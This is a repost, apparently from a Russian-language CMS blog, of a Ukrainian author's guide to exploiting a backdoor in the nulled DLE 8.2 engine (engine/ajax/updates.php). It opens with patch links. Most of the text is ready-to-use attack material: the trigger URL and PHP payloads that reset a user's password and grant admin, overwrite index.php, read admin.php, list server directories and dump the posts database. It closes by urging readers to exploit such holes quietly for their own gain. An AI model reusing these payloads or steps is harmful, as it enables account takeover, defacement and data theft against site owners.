X

Бэкдор в нулле DLE 8.2

По инету прошла серия беспокойств, в связи с тем что выложили инфу по бэкдору к DLE 8.2 nulled от товарища Zloy
Почитал, нашел кое что интересное и для себя, отправляю статью в копилку.

p.s. Патч доступен http://dle.in.ua/main/6469-vazhno.html
p.s.2 Также советую проверить http://dle.in.ua/bags/6702-nedostatochnaya-filtraciya-vxodyashhix-dannyx.html

Дальше без изменений от автора web-marinell..

Доброго дня шановна громадо.
Хотілося б розповісти вам дещо цікаве. А саме ось що - з виходом релізу ДЛЕ 8.2 я як звичайно викачала нулл і почала його досліджувати. Мою увагу привернув файлик engine/ajax/updates.php а саме увагу привернув фрагмент коду, котрий не тільки виводив зручне віконечко при певному запиті, але й дозволяв виконувати будь-який пхп-скрипт переданий запистом POST. Я досить довгий час користувалася цим "віконцем" аби підвищити тІЦ свого сайту, але з'явилися довбойоби, яким просто пощастило впіймати сліди одного з тих хто користувався цим як і я. Але вони не просто виявили вікно, але й проявивши повний тупізм, розтеревенили про це кому тільки можливо.
Саме тому хотілось би поділитися з вами деякими прийомами розвалу сайтів за допомогою цього "віконця":
1. По перше заходимо на сайт жертві - http://site.ru/engine/ajax/updates.php?wert=hack
2. Вводимо в віконце пхп код з додержанням всіх правил кодування, натискаємо кнопочку і вуаля!
3. Тепер скрипти, котрі я використовувала для взлому:

//    Робимо адміном та змінюємо пароль будь-якого користувача і одразу ж виводимо данні на екран:  

    $pass=md5(md5('123456789'));
    $db->query( "UPDATE " . USERPREFIX . "_users SET password='".$pass."', lastdate=0, user_group=1 where name='ІМ'Я_КОРИСТУВАЧА'" );  

    $user_query_name = "SELECT * FROM " . USERPREFIX . "_users WHERE name='ІМ'Я_КОРИСТУВАЧА'";
    $user_q_id = $db->query($user_query_name);  

    while($row = $db->get_row($user_q_id)){
    $x=array_keys($row);
    echo <<<HTML
    <div style="margin: 10px; padding: 10px; border: 1px solid #555555; background-color: #FFFFCC">
    HTML;
    for($i=0;$i<count($x);$i++){
    echo '<div style="padding-bottom: 3px"><b>'.$x[$i].'</b> '.$row[$x[$i]].'</div>';
    }
    echo '</div>';
    }
    //Перезаписуємо певний файл:  

    $file=ROOT_DIR.'/index.php';
    @chmod($file,0777);
    $write = 'Якийсь текст';
    $fp = fopen($file, "w");
    $save = fwrite($fp, $write);
    fclose($fp);
//    Читаємо файл:  

    $cv=file_get_contents(ROOT_DIR.'/admin.php');
    $cv=htmlentities($cv);
    $cv=preg_replace("#\n#","<br />",$cv);
    echo '<div style="padding-left: 20px; padding-right: 20px">
    <div style="padding-left: 10px; border: 1px solid #111111; padding-right: 10px; padding-top: 10px; padding-bottom: 10px; background-color: #FFCCFF">
    '.$cv.'</div></div>';
//    Щось накшталт файлового менеджеру:  

    $dir=ROOT_DIR.'/engine/data';
    $xcv=scandir($dir);
    ksort($xcv);
    for($i=0;$i<count($xcv);$i++){
    $qwe=substr(sprintf('%o', fileperms($dir.'/'.$xcv[$i])), -4);
    if(filetype($dir.'/'.$xcv[$i])=='dir'){ $color='#FF0000'; }else{ $color='#000066'; }
    echo $qwe.' - <font color="'.$color.'">'.$xcv[$i].'</font><br />';
    }
//    Виводимо відразу всі новини з бази данних:  

    $user_query_name = "SELECT * FROM " . USERPREFIX . "_post ORDER BY date DESC";
    $user_q_id = $db->query($user_query_name);
    while($row = $db->get_row($user_q_id)){
    echo <<<HTML
    <div style="margin: 10px; padding: 10px; border: 1px solid #555555; background-color: #FFCCFF">
    <div style="border-bottom: 1px dotted #BBBBBB; padding-bottom: 3px"><center><h3>{$row['title']}</h3></center></div>
    <div style="border-bottom: 1px dotted #BBBBBB; padding-bottom: 3px"><b>Автор:</b> {$row['autor']}</div>
    <div style="border-bottom: 1px dotted #BBBBBB; padding-bottom: 3px"><b>Дата публикации:</b> {$row['date']}</div>
    <div style="border-bottom: 1px dotted #BBBBBB; padding-bottom: 3px"><b>Краткая новость:</b> {$row['short_story']}</div>
    <div style="border-bottom: 1px dotted #BBBBBB; padding-bottom: 3px"><b>Полная новость:</b> {$row['full_story']}</div>
    </div>
    HTML;
    }

Користуйтесь на здоров'я, і пам'ятайте, знайшовши подібне "віконце" не варто про це кричати на весь світ, варто використовувати це в своїх інтересах.

Категории: CMS DLE
Тэги: hack